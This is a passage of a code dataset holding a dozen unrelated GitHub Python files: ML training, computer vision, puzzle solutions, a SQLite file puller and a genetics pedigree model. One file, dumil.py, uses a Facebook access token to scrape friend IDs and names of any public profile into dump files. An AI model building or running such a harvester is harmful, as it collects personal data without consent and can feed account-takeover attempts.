\"bert_model.ckpt\")\nbert_params = bert.params_from_pretrained_ckpt(model_dir)\nl_bert = bert.BertModelLayer.from_params(bert_params, name=\"bert\")\n\n# Retrieve data from preloaded pkl file\nbert_data = load_file(bertdata_file)\nmax_seq_len = bert_data.max_seq_len\ntrain_data = bert_data.train_data\ntrain_labels = bert_data.train_labels\ntest_data = bert_data.test_data\ntest_labels = bert_data.test_labels\n\n# Create the model\nl_input_ids = keras.layers.Input(shape=(max_seq_len,), dtype='int32', name='input_ids')\nbert_output = l_bert(l_input_ids)\ncls_output = keras.layers.Lambda(lambda seq: seq[:, 0, :])(bert_output)\ndense = keras.layers.Dense(2, activation='sigmoid')(cls_output)\nsoft = keras.layers.Softmax(axis=-1)(dense)\n\nmodel = keras.Model(inputs=l_input_ids, outputs=soft, name='Bert_model')\nmodel.build(input_shape=(None, max_seq_len))\n\nbert.load_bert_weights(l_bert, model_ckpt)\n\nmodel.summary()\n\n# Compile the model\nmodel.compile(\n optimizer=keras.optimizers.Adam(1e-5),\n loss=keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=[keras.metrics.SparseCategoricalAccuracy(name=\"acc\")]\n)\n\n# Train the model\ncheckpoint = ModelCheckpoint(\"./Bert_saves/bert.ckpt\", monitor='val_acc', verbose=1,\n save_best_only=True, save_weights_only=False, mode='auto', period=1)\n\nmodel.fit(\n train_data,\n train_labels,\n validation_split=0.1,\n batch_size=16,\n shuffle=True,\n epochs=5,\n callbacks=[checkpoint]\n)\n\n# Evaluate the model\ntest_loss, test_accuracy = model.evaluate(test_data, test_labels, verbose=2)\nprint('Test loss:', test_loss)\nprint('Test accuracy:', test_accuracy)\n","repo_name":"callaunchpad/Inspector","sub_path":"models/bert_model.py","file_name":"bert_model.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70608286668","text":"from gradcam.utils import visualize_cam\nfrom gradcam import GradCAM\nimport torchvision.transforms as transforms\n\ndef grad_cam(model, model_type, layer_name, normed_torch_img, torch_img):\n config = dict(model_type = model_type, arch = model, layer_name = layer_name)\n config['arch'].eval() #.to(device)\n \n cam = GradCAM.from_config(**config)\n mask, _ = cam(normed_torch_img)\n heatmap, result = visualize_cam(mask, torch_img )\n \n return(transforms.ToPILImage()(result))","repo_name":"IS2AI/docker-flask-api-template","sub_path":"program/modules/gradcam_func.py","file_name":"gradcam_func.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9509337794","text":"def calcular(l,resultado):\n\tif(len(l)> 3 or len(l) == 3):\n\t\tsigno = l[0]\n\t\tnumero = int(l[1])\n\t\tdel l[0]\n\t\tdel l[0]\n\t\tif (signo =='+'):\n\t\t\tprint(resultado)\n\t\t\tresultado=suma(numero,calcular(l,resultado))\n\t\telif(signo == '-'):\n\t\t\tresultado=resta(numero,calcular(l,resultado))\n\t\telif(signo == '*'):\n\t\t\tresultado=mult(numero,calcular(l,resultado))\n\t\telif(signo == '/'):\n\t\t\tresultado=div(numero,calcular(l,resultado))\n\telse:\n\t\tresultado = l[0]\n\treturn resultado\n\ndef suma ( numero, resultado):\n\tresultado = int(numero) + int(resultado)\n\treturn resultado\ndef resta ( numero, resultado):\n\tresultado = int(numero) - int(resultado)\n\treturn resultado\ndef mult ( numero, resultado):\n\tresultado = int(numero) * int(resultado)\n\treturn resultado\ndef div ( numero, resultado):\n\tresultado = int(numero) / int(resultado)\n\treturn resultado\n\n\nexpr=raw_input(\"Introduce polinomio\")\nl=expr.split()\nprint(l)\nres=calcular(l,0)\nprint(res)\n","repo_name":"mgparada/ALS","sub_path":"fito/p2Ej2.py","file_name":"p2Ej2.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5953962109","text":"import os,sys,json,requests\r\nfrom time import sleep as waktu \r\n\r\nM = '\\x1b[1;91m' \r\nH = '\\x1b[1;92m'\r\nC = '\\x1b[0m' \r\n\r\nbanner = ('''\r\n\r\n D U M P \r\n\r\n''')\r\n\r\ndef folder():\r\n\ttry:os.mkdir('dump')\r\n\texcept:pass\r\n\r\nid = []\r\n\r\ndef masuk():\r\n\ttry:\r\n\t\ttoken = open('token.txt','r').read()\r\n\texcept FileNotFoundError:\r\n\t\tos.system('clear')\r\n\t\ttoken = input (f'\\n masukan token > {H}')\r\n\t\tif token =='':\r\n\t\t\texit (f'{M} isi yg bener{C}')\r\n\t\topen (f'token.txt','w').write(token)\r\n\t\tMenu(token)\r\n\t\r\n\tMenu(token)\r\n\t\r\ndef Menu(token):\r\n\tos.system('clear')\r\n\tprint (banner)\r\n\ttry:\r\n\t\tr = requests.get(f'https://graph.facebook.com/me?access_token={token}')\r\n\t\tc = json.loads(r.text)\r\n\t\tnama = c['name']\r\n\texcept (KeyError):\r\n\t\tos.system('rm -rf token.txt')\r\n\t\tmasuk()\r\n\tprint (f'{C} halo {H}{nama}{C}\\n ')\r\n\ttry:\r\n\t\tfolder()\r\n\t\tprint (' isi me jika ingin dump teman sendiri ')\r\n\t\tuid = input (' masukan id publik : ')\r\n\t\tsimpan = input (' simpan nama file : ')\r\n\t\tfile = ('dump/'+simpan+'.json').replace(' ', '_')\r\n\t\tcok = open(file, 'w')\r\n\t\tr = requests.get(f'https://graph.facebook.com/{uid}?fields=friends.limit(5001)&access_token={token}')\r\n\t\tz = json.loads(r.text)\r\n\t\tfor a in z['friends']['data']:\r\n\t\t\tid.append(a['id'] + '<=>' + a['name'])\r\n\t\t\tcok.write(a['id'] + '<=>' + a['name'] + '\\n')\r\n\t\t\tsys.stdout.write (f'\\r mengumpulkan id : {str(len(id))} ')\r\n\t\t\tsys.stdout.flush();waktu(000.01)\r\n\t\t\t\r\n\t\tcok.close()\r\n\t\tprint ('\\n\\n berhasil dump id')\r\n\t\tprint (f' file dump tersimpan : {file}')\r\n\t\tinput (' ENTER')\r\n\t\tmasuk()\r\n\texcept Exception as e:\r\n\t\texit (e)\r\n\t\t\r\n\t\t\r\nmasuk()\r\n\r\n","repo_name":"amdiutama/sad","sub_path":"dumil.py","file_name":"dumil.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40342938331","text":"import boto3\nimport cv2\nimport base64\n\n\n# if convert is True it converts image into bytes\ndef search_face_local(image, collectionId, matches, location, convert=False):\n if(convert):\n retval, image = cv2.imencode('.jpg', image)\n image = base64.b64encode(image)\n image = base64.decodebytes(image)\n\n threshold = 70\n maxFaces = 100\n\n client = boto3.client('rekognition')\n\n try:\n response = client.search_faces_by_image(CollectionId=collectionId,\n Image={'Bytes': image},\n FaceMatchThreshold=threshold,\n MaxFaces=maxFaces,\n )\n faceMatches = response['FaceMatches']\n matches.append([faceMatches[0], location, image])\n except Exception as e:\n matches.append([\"unknown\", location, image])\n return []\n\n # print(faceMatches[0][\"Face\"][\"ExternalImageId\"])\n # print('Similarity: ' + \"{:.2f}\".format(faceMatches[0]['Similarity']) + \"%\")\n\n # for match in faceMatches:\n # print('FaceId:' + match['Face'][\"ExternalImageId\"])\n # print('Similarity: ' + \"{:.2f}\".format(match['Similarity']) + \"%\")\n # print\n return faceMatches[0]\n\n\nif __name__ == \"__main__\":\n image = cv2.imread(\"media/mai.jpg\")\n # cv2.imshow(\"cena\", image)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n retval, im_bytes = cv2.imencode('.jpg', image)\n im_bytes = base64.b64encode(im_bytes)\n im_bytes = base64.decodebytes(im_bytes)\n\n collectionId = 'myfirstcollection'\n facemathces = search_face_local(im_bytes, collectionId)\n","repo_name":"GonzaloPelenur/face-recognition","sub_path":"rekog_polo/searchFaceLocal.py","file_name":"searchFaceLocal.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28261058718","text":"import requests\n\nfrom dotenv import load_dotenv\nfrom bs4 import BeautifulSoup\n\nfrom scrapers.realworks import createRealworksInstances\n\nif __name__ == \"__main__\":\n load_dotenv()\n\n usr_agent = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/61.0.3163.100 Safari/537.36'}\n\n def fetch_results():\n google_url = 'https://www.google.com/search?q={}&num={}&hl={}'.format(\n 'allinurl:aanbod/woningaanbod/UTRECHT',\n 100,\n 'nl'\n )\n response = requests.get(google_url, headers=usr_agent)\n response.raise_for_status()\n\n return response.text\n\n def parse_results(raw_html):\n soup = BeautifulSoup(raw_html, 'html.parser')\n result_block = soup.find_all('div', attrs={'class': 'g'})\n for result in result_block:\n link = result.find('a', href=True)\n title = result.find('h3')\n if link and title:\n yield link['href']\n\n existing = createRealworksInstances()\n existing = set(map(lambda instance: instance.url, existing))\n\n for result in parse_results(fetch_results()):\n split = None\n\n if '.nl' in result:\n split = '.nl'\n elif '.com' in result:\n split = '.com'\n\n if split is not None:\n url_part = result.split(split, 1)[0]\n url = url_part + split\n name = url_part.split('.')[-1]\n\n if url not in existing:\n with open('realworks_sites', 'a') as file:\n file.write(name + ' ' + url)\n\n ","repo_name":"iamrgroot/house-finder","sub_path":"create_realworks.py","file_name":"create_realworks.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34789777572","text":"a = ['B', 'W']\nfor _ in range(int(input())):\n n, m = list(map(int, input().split()))\n replace = n % 2 == 0 or m % 2 == 0\n for i in range(n):\n res = ''\n for j in range(m):\n res += a[(i + j) % 2]\n if i == n - 1 and replace:\n res = res.replace('W', 'B', 1)\n print(res)\n","repo_name":"npkhanhh/codeforces","sub_path":"python/1333A.py","file_name":"1333A.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20158937508","text":"'''\nTitle: distance.py\nAuthors: Jared Perlic\nDate Start: Jan 30, 2023\nDescription:\n\nThis script find the distance between the camera and the feature in an image.\n'''\n\nimport cv2 as cv\nimport numpy as np\nimport imutils\nfrom imutils import paths\n\n# Initialize the known distance from the camera to the marker\nDISTANCE = 24\n\n# Initialize the marker's known width\nWIDTH = 11\n\ndef distance_to_camera(kw, fl, pw):\n \"\"\"Computes and returns the distance from the marker to the camera.\n \n param kw: The known width of the marker\n param fl: The computed focal length\n param pw: The perceived width of an object in pixels\"\"\"\n\n return (kw * fl) / pw\n\ndef find_marker(img):\n \"\"\"Finds a marker (object) to compute the distance to.\"\"\"\n\n # Convert to grayscale, then blur and detect edges\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n gray = cv.GaussianBlur(gray, (5, 5), 0)\n edged = cv.Canny(gray, 35, 125)\n\n # Find the contours in the edged image and keep the largest\n cnts = cv.findContours(edged.copy(), cv.RETR_LIST, cv.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n c = max(cnts, key=cv.contourArea)\n\n\t# Compute and return the bounding box of the of the marked region\n return cv.minAreaRect(c)\n\nimg = cv.imread('../../Images/stitch01_med.jpg')\nmarker = find_marker(img)\nfl = (marker[1][0] * DISTANCE) / WIDTH\n\nfor imgPath in sorted(paths.list_images('../../Images')):\n\n # Load the image and find the marker\n\timg = cv.imread(imgPath)\n\tmarker = find_marker(img)\n\n # Compute the distance from the camera to the marker\n\tinches = distance_to_camera(WIDTH, fl, marker[1][0])\n\n\t# Draw and display a bounding box around the image\n\tbox = cv.cv.BoxPoints(marker) if imutils.is_cv2() else cv.boxPoints(marker)\n\tbox = np.int0(box)\n\tcv.drawContours(img, [box], -1, (0, 255, 0), 2)\n\n # Display text\n\tcv.putText(img, \"%.2fft\" % (inches / 12),\n\t\t(img.shape[1] - 200, img.shape[0] - 20),\n cv.FONT_HERSHEY_SIMPLEX, 1.0, (0, 255, 0), 3)\n\n\tcv.imshow('Distance to Camera', img)\n\tcv.waitKey(0)","repo_name":"ecSanders/disparity-Rover","sub_path":"vSLAM/Example Work/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70073673550","text":"from collections import defaultdict\nimport fileinput\n\nlines=[]\nmaxwidth=0\nfor line in fileinput.input():\n line = line.strip()\n line = ''.join(reversed(line))\n lines.append(line)\n maxwidth=max(maxwidth, len(line))\n\nanswer=[0 for x in range(maxwidth * 2)]\n\ndef adjust(digit, newvalue):\n if -2 <= newvalue <= 2:\n # Just set it.\n answer[digit] = newvalue\n elif newvalue == 3:\n answer[digit] = -2\n adjust(digit+1, answer[digit+1]+1)\n elif newvalue == 4:\n answer[digit] = -1\n adjust(digit+1, answer[digit+1]+1)\n elif newvalue == -3:\n # 1(-3) is 5-3=02\n answer[digit] = 2\n adjust(digit+1, answer[digit+1]-1)\n elif newvalue == -4:\n # 1(-4) is 5-4=01\n answer[digit] = 1\n adjust(digit+1, answer[digit+1]-1)\n else:\n print(\"PANIC, newvalue is \", newvalue)\n\n\nfor num5 in lines:\n #print('adding', num5)\n for place in range(0, len(num5)):\n digit=num5[place]\n if digit in ['0', '1', '2']:\n actual=int(digit)\n elif digit == '-':\n actual=-1\n else:\n actual=-2\n maybeanswer = answer[place] + actual\n adjust(place, maybeanswer)\n #print(\"Answer is now\", answer)\n\nprint('Answer smallest to largest:', answer)\nr=[x for x in reversed(answer)]\nprint('Answer little-endian:', r)\ni=0\n\nwhile r[i] == 0:\n i = i + 1\npart1=''\nfor j in range(i, len(r)):\n if r[j] >= 0:\n part1=part1+str(r[j])\n elif r[j] == -1:\n part1=part1+'-'\n else:\n part1=part1+'='\nprint(part1)\n","repo_name":"dplassgit/aoc","sub_path":"2022/day25.py","file_name":"day25.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29177493378","text":"import requests, json\nfrom time import sleep\n\nasync def make_request(ctx, url):\n for i in range(3):\n try:\n r = requests.get(url, timeout = 6)\n if r.status_code == 200:\n return json.loads(r.content)[\"data\"]\n except requests.exceptions.Timeout:\n print (\"The API didn't respond (Attempt #{}).\".format(i+1))\n if i < 2:\n print (\"Trying again...\")\n sleep(1)\n await ctx.send(\"We couldn't fetch the data from the API. Please try again later!\", hidden = True)\n return None","repo_name":"DavidAkaFunky/KaguyaBot","sub_path":"src/Requests.py","file_name":"Requests.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17228045315","text":"def bolshee(a, b , c):\n if a > b and a > c:\n return a\n if b > c and b > a:\n return b\n if c > b and c > a:\n return c\n\n\nnum1 = int(input())\nnum2 = int(input())\nnum3 = int(input())\nnum4 = bolshee(num1, num2, num3)\nprint(num4)\n","repo_name":"Timofeu296/Python","sub_path":"day8/04.py","file_name":"04.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74749500428","text":"class MovementDetector:\n\n @staticmethod\n def detect(cv2, frame1, frame2, enable_contours, enable_rectangles):\n frame_difference = cv2.absdiff(frame1, frame2) # absolute difference between frame1 and frame2.\n gray = cv2.cvtColor(frame_difference, cv2.COLOR_BGR2GRAY) # used to convert the difference of the frame in a gray scale, so RGB to GRAY.\n blur = cv2.GaussianBlur(gray, (5, 5), 0) # Gussian blur applied on the difference of the frame in gray scale.\n _, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY) # Based on a threshold, if the pixel color exceeds it, I set the color to a max value (generally white), else to zero (generally black).\n dilated = cv2.dilate(thresh, None, iterations=3) # Essentially a dilatation applied to a frame, so a thickness. The opposite is the cv2.erode() method.\n contours, _ = cv2.findContours(dilated, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # used to find the contours\n\n if enable_contours:\n MovementDetector.__show_contours(cv2, frame1, contours)\n if enable_rectangles:\n MovementDetector.__show_rectangle(cv2, frame1, contours)\n\n @staticmethod\n def __show_contours(cv2, frame1, contours):\n cv2.drawContours(frame1, contours, -1, (0, 255, 0), 2)\n\n @staticmethod\n def __show_rectangle(cv2, frame1, contours):\n for contour in contours:\n (x, y, w, h) = cv2.boundingRect(contour)\n\n if cv2.contourArea(contour) > 4000:\n cv2.rectangle(frame1, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n","repo_name":"DavidG33k/COVIDPreventionSystem","sub_path":"MovementDetector.py","file_name":"MovementDetector.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19652510123","text":"#pullProject.pyw\nimport tkinter as tk\nimport datetime as dt\nimport sqlite3\n\n\ndef sortableTimeStamp(workStamp):\n sortedStamp = dt.datetime.strptime(workStamp,\"%m/%d/%y %H:%M:%S\")\n return sortedStamp.strftime(\"%y/%m/%d %H:%M:%S\")\n\ndef pullFile(conn,fname):\n saveBytes = conn.execute(\"SELECT FileData from (SELECT FileData, filename, max(sortableTimestamp(Timestamp)) FROM FileRevisions GROUP BY Filename) WHERE filename=?\",[fname]).fetchone()\n newFile = open(fname,'wb')\n byteCount = newFile.write(saveBytes[0])\n newFile.close()\n\nconn = sqlite3.connect(\"VersionControl.db\")\nconn.create_function(\"sortableTimeStamp\",1,sortableTimeStamp)\n\npullFile(conn,\"autoversion.py\")\npullFile(conn,\"guiBlocks.py\")\n\nimport autoversion as av\nfrom guiBlocks import *\n\nav.autoversionFile(\"pullProject.pyw\")\n\nclass pullProjectDlg(tk.Frame):\n def __init__(self,master = None,dbConn = None):\n tk.Frame.__init__(self,master)\n self.grid()\n self.dbConn = dbConn\n self.projList = self.popProjects()\n\n self.actions = dblBtn(self,[\"List Files\",\"Pull Files\"],[self.listFn,self.pullFn],r=0)\n self.projects = dataComboBox(self,\"Projects\",self.projList,r=1)\n self.fileBox = messageListbox(self,r=2)\n\n def listFn(self,event=None):\n self.fileBox.clearData()\n res = self.dbConn.execute(\"SELECT Filename FROM Projects NATURAL JOIN ProjectFiles NATURAL JOIN StoredFiles WHERE Title = ?\",[self.projects.getVal()]).fetchall()\n for ln in res:\n self.fileBox.addLine(ln)\n \n def pullFn(self,event=None):\n self.fileBox.clearData()\n projID = self.dbConn.execute(\"SELECT ProjectID FROM Projects WHERE Title=?\",[self.projects.getVal()]).fetchone()[0]\n res = self.dbConn.execute(\"SELECT Filename FROM Projects NATURAL JOIN ProjectFiles NATURAL JOIN StoredFiles WHERE ProjectID = ?\",[projID]).fetchall()\n for ln in res:\n self.fileBox.addLine(\"Pulling {}\".format(ln))\n pullFile(self.dbConn,ln[0])\n\n def popProjects(self):\n res = self.dbConn.execute(\"SELECT Title FROM Projects ORDER BY Title\").fetchall()\n return [ln[0] for ln in res]\n\n\n\nwin = tk.Tk()\n\npullDlg = pullProjectDlg(win,conn)\nwin.mainloop()\nconn.close\n\n \n","repo_name":"andersongw/PythonSupportPrograms","sub_path":"pullProject.pyw","file_name":"pullProject.pyw","file_ext":"pyw","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37194712803","text":"import matplotlib.pyplot as plt\n\n\nclass Individual:\n def __init__(\n self, id_number, sex, affected, mother=None, father=None, children=None\n ):\n \"\"\"\n Initializes an individual with the given attributes.\n\n Args:\n id_number (int or str): The unique identifier for the individual.\n sex (str): The sex of the individual. Can be 'M' for male or 'F' for female.\n affected (bool): The affected status of the individual.\n mother (Individual, optional): The mother of the individual. Defaults to None.\n father (Individual, optional): The father of the individual. Defaults to None.\n children (list, optional): The list of children of the individual. Defaults to an empty list.\n \"\"\"\n self.id = id_number\n self.sex = sex\n self.affected = affected\n self.mother = mother\n self.father = father\n self.children = children if children is not None else []\n\n def add_parent_child_relationship(self, parent, sex):\n \"\"\"\n Establishes a parent-child relationship between the individual and a parent.\n\n Args:\n parent (Individual): The parent to be added.\n sex (str): The sex of the parent. Can be 'M' for male or 'F' for female.\n \"\"\"\n if sex == \"M\":\n self.father = parent\n parent.children.append(self) # Add self as a child to the parent\n elif sex == \"F\":\n self.mother = parent\n parent.children.append(self) # Add self as a child to the parent\n\n def get_children(self):\n \"\"\"\n Returns the list of children of the individual.\n\n Returns:\n list: The list of children.\n \"\"\"\n return self.children\n\n def get_ancestors(self, ancestors=None):\n \"\"\"\n Returns the list of ancestors of the individual.\n\n Args:\n ancestors (list, optional): The list of ancestors. Defaults to an empty list.\n\n Returns:\n list: The list of ancestors.\n \"\"\"\n if ancestors is None:\n ancestors = []\n if self.mother:\n ancestors.append(self.mother)\n self.mother.get_ancestors(ancestors)\n if self.father:\n ancestors.append(self.father)\n self.father.get_ancestors(ancestors)\n return ancestors\n\n def get_generation(self):\n \"\"\"\n Returns the generation of the individual based on their parents.\n\n Returns:\n int: The generation of the individual.\n \"\"\"\n if self.mother or self.father:\n mother_generation = self.mother.get_generation() if self.mother else 0\n father_generation = self.father.get_generation() if self.father else 0\n return max(mother_generation, father_generation) + 1\n return 0\n\n def is_carrier(self):\n \"\"\"\n Determines whether an individual could potentially be a carrier.\n\n An individual could potentially be a carrier in the following situations:\n - The individual is unaffected but has at least one affected child.\n - Both parents are unaffected but the individual has an affected sibling.\n\n Returns:\n bool or None: True if the individual could be a carrier, False otherwise, None if it is indeterminable.\n \"\"\"\n # No parents\n if not self.mother or not self.father:\n return None\n\n # No children\n if not self.children:\n return None\n\n # Unaffected female with affected child and unaffected father\n if (\n self.sex == \"F\"\n and not self.affected\n and any(\n child.affected and not child.father.affected for child in self.children\n )\n ):\n return True\n\n # Unaffected male with affected child and unaffected mother\n if (\n self.sex == \"M\"\n and not self.affected\n and any(\n child.affected and not child.mother.affected for child in self.children\n )\n ):\n return True\n\n # Unaffected with affected sibling and unaffected parents\n if (\n not self.affected\n and not self.mother.affected\n and not self.father.affected\n and any(\n sibling.affected\n for sibling in self.mother.children + self.father.children\n if sibling != self\n )\n ):\n return True\n\n return False\n\n\nclass Pedigree:\n def __init__(self, individuals=None):\n self.individuals = [] if individuals is None else individuals\n\n def find_affected(self):\n \"\"\"\n Returns the list of affected individuals in the pedigree.\n\n Returns:\n list: The list of affected individuals.\n \"\"\"\n return [individual for individual in self.individuals if individual.affected]\n\n def find_unaffected(self):\n \"\"\"\n Returns the list of unaffected individuals in the pedigree.\n\n Returns:\n list: The list of unaffected individuals.\n \"\"\"\n return [\n individual for individual in self.individuals if not individual.affected\n ]\n\n def find_mode_of_inheritance(self):\n \"\"\"\n Determine the possible mode(s) of inheritance of a trait in a pedigree.\n\n This method traverses all affected individuals in a given pedigree. The inheritance modes evaluated are:\n 'Autosomal Dominant', 'Autosomal Recessive', 'X-Linked Dominant', and 'X-Linked Recessive'.\n\n The method performs a set of checks to discard impossible modes of inheritance for each affected individual:\n - If both parents are unaffected, it discards 'Autosomal Dominant' and 'X-Linked Dominant'.\n - If one parent is unaffected and not a carrier, it discards 'Autosomal Recessive'.\n - If the individual is male and the mother is neither affected nor a carrier, it discards 'X-linked recessive'.\n\n If only one mode of inheritance remains possible after the evaluation of all individuals, that mode is returned.\n If more than one mode remains possible, it returns a set of all possible modes.\n\n Returns:\n str or set: The remaining possible mode(s) of inheritance. It returns a string if only one mode is possible, or a set of strings if multiple modes are possible.\n \"\"\"\n\n possible_modes = {\n \"Autosomal Dominant\",\n \"Autosomal Recessive\",\n \"X-Linked Dominant\",\n \"X-Linked Recessive\",\n }\n\n for individual in self.find_affected():\n if individual.father and individual.mother:\n # If both parents unaffected, rule out Autosomal Dominant and X-Linked Dominant\n if not individual.father.affected and not individual.mother.affected:\n possible_modes.discard(\"Autosomal Dominant\")\n possible_modes.discard(\"X-Linked Dominant\")\n\n # If one parent is unaffected and not a carrier, rule out Autosomal Recessive\n if (\n not individual.father.affected\n and not individual.father.is_carrier()\n ) or (\n not individual.mother.affected\n and not individual.mother.is_carrier()\n ):\n possible_modes.discard(\"Autosomal Recessive\")\n\n # If individual is male and mother is neither affected nor a carrier, rule out X-linked recessive\n if individual.sex == \"M\" and not (\n individual.mother.affected or individual.mother.is_carrier()\n ):\n possible_modes.discard(\"X-Linked Recessive\")\n\n if len(possible_modes) == 1:\n return possible_modes.pop()\n return possible_modes\n\n def visualize_pedigree(self):\n \"\"\"\n Visualizes the pedigree using matplotlib.\n \"\"\"\n # Sort individuals\n individuals = sorted(self.individuals, key=lambda x: int(x.id[1:]))\n\n plt.figure(figsize=(8, 6))\n ax = plt.gca()\n ax.set_aspect(\"equal\")\n\n max_generations = max(\n [individual.get_generation() for individual in individuals]\n )\n id_to_index = {\n individual.id: index for index, individual in enumerate(individuals)\n }\n\n for index, individual in enumerate(individuals):\n x = index\n y = max_generations - individual.get_generation()\n\n if individual.sex == \"M\":\n if individual.affected:\n shape = plt.Circle((x, y), radius=0.5, color=\"black\")\n else:\n shape = plt.Circle(\n (x, y),\n radius=0.5,\n edgecolor=\"black\",\n facecolor=\"white\",\n linewidth=2,\n )\n else:\n if individual.affected:\n shape = plt.Rectangle((x - 0.5, y - 0.5), 1, 1, color=\"black\")\n else:\n shape = plt.Rectangle(\n (x - 0.5, y - 0.5),\n 1,\n 1,\n edgecolor=\"black\",\n facecolor=\"white\",\n linewidth=2,\n )\n\n ax.add_patch(shape)\n\n if individual.mother:\n x_mom = id_to_index[individual.mother.id]\n y_mom = max_generations - individual.mother.get_generation()\n plt.plot([x, x_mom], [y, y_mom], \"-\")\n\n if individual.father:\n x_dad = id_to_index[individual.father.id]\n y_dad = max_generations - individual.father.get_generation()\n plt.plot([x, x_dad], [y, y_dad], \"-\")\n\n plt.xlim(-1, len(individuals)) # Extend x-axis\n plt.ylim(-1, max_generations + 1)\n plt.gca().invert_yaxis()\n plt.show()\n\n\nif __name__ == \"__main__\":\n # Test Pedigree 9 - Autosomal Recessive\n I1 = Individual(\"I1\", \"M\", False)\n I2 = Individual(\"I2\", \"F\", False)\n I3 = Individual(\"I3\", \"F\", False)\n I4 = Individual(\"I4\", \"M\", False)\n I5 = Individual(\"I5\", \"F\", True)\n I6 = Individual(\"I6\", \"M\", False)\n I7 = Individual(\"I7\", \"F\", False)\n I8 = Individual(\"I8\", \"M\", True)\n I9 = Individual(\"I9\", \"F\", False)\n I10 = Individual(\"I10\", \"M\", False)\n I11 = Individual(\"I11\", \"F\", True)\n I12 = Individual(\"I12\", \"M\", False)\n\n # Add parent-child relationships\n I3.add_parent_child_relationship(I1, \"M\")\n I3.add_parent_child_relationship(I2, \"F\")\n I4.add_parent_child_relationship(I1, \"M\")\n I4.add_parent_child_relationship(I2, \"F\")\n I5.add_parent_child_relationship(I3, \"F\")\n I5.add_parent_child_relationship(I4, \"M\")\n I6.add_parent_child_relationship(I3, \"F\")\n I6.add_parent_child_relationship(I4, \"M\")\n I7.add_parent_child_relationship(I3, \"F\")\n I7.add_parent_child_relationship(I4, \"M\")\n I8.add_parent_child_relationship(I5, \"F\")\n I9.add_parent_child_relationship(I5, \"F\")\n I10.add_parent_child_relationship(I5, \"F\")\n I11.add_parent_child_relationship(I6, \"M\")\n I12.add_parent_child_relationship(I7, \"F\")\n\n individuals_9 = [I1, I2, I3, I4, I5, I6, I7, I8, I9, I10, I11, I12]\n pedigree9 = Pedigree(individuals_9)\n print(pedigree9.find_mode_of_inheritance())\n # pedigree9.visualize_pedigree()\n\n # Test Pedigree 10 - X-Linked Dominant\n I1 = Individual(\"I1\", \"M\", False)\n I2 = Individual(\"I2\", \"F\", True)\n I3 = Individual(\"I3\", \"F\", False)\n I4 = Individual(\"I4\", \"M\", False)\n I5 = Individual(\"I5\", \"F\", True)\n I6 = Individual(\"I6\", \"M\", False)\n I7 = Individual(\"I7\", \"F\", True)\n I8 = Individual(\"I8\", \"F\", False)\n I9 = Individual(\"I9\", \"M\", False)\n I10 = Individual(\"I10\", \"F\", True)\n I11 = Individual(\"I11\", \"M\", False)\n I12 = Individual(\"I12\", \"F\", True)\n\n # Add parent-child relationships\n I3.add_parent_child_relationship(I1, \"M\")\n I3.add_parent_child_relationship(I2, \"F\")\n I4.add_parent_child_relationship(I1, \"M\")\n I4.add_parent_child_relationship(I2, \"F\")\n I5.add_parent_child_relationship(I2, \"F\")\n I6.add_parent_child_relationship(I3, \"F\")\n I7.add_parent_child_relationship(I3, \"F\")\n I8.add_parent_child_relationship(I4, \"M\")\n I9.add_parent_child_relationship(I4, \"M\")\n I10.add_parent_child_relationship(I5, \"F\")\n I11.add_parent_child_relationship(I6, \"F\")\n I12.add_parent_child_relationship(I7, \"F\")\n\n individuals_10 = [I1, I2, I3, I4, I5, I6, I7, I8, I9, I10, I11, I12]\n pedigree10 = Pedigree(individuals_10)\n print(pedigree10.find_mode_of_inheritance())\n pedigree10.visualize_pedigree()\n\n # Test Pedigree 11 - Autosomal Dominant\n I1 = Individual(\"I1\", \"M\", True)\n I2 = Individual(\"I2\", \"F\", False)\n I3 = Individual(\"I3\", \"F\", True)\n I4 = Individual(\"I4\", \"M\", False)\n I5 = Individual(\"I5\", \"M\", True)\n I6 = Individual(\"I6\", \"F\", False)\n I7 = Individual(\"I7\", \"M\", True)\n I8 = Individual(\"I8\", \"F\", False)\n I9 = Individual(\"I9\", \"M\", True)\n I10 = Individual(\"I10\", \"F\", False)\n I11 = Individual(\"I11\", \"M\", True)\n I12 = Individual(\"I12\", 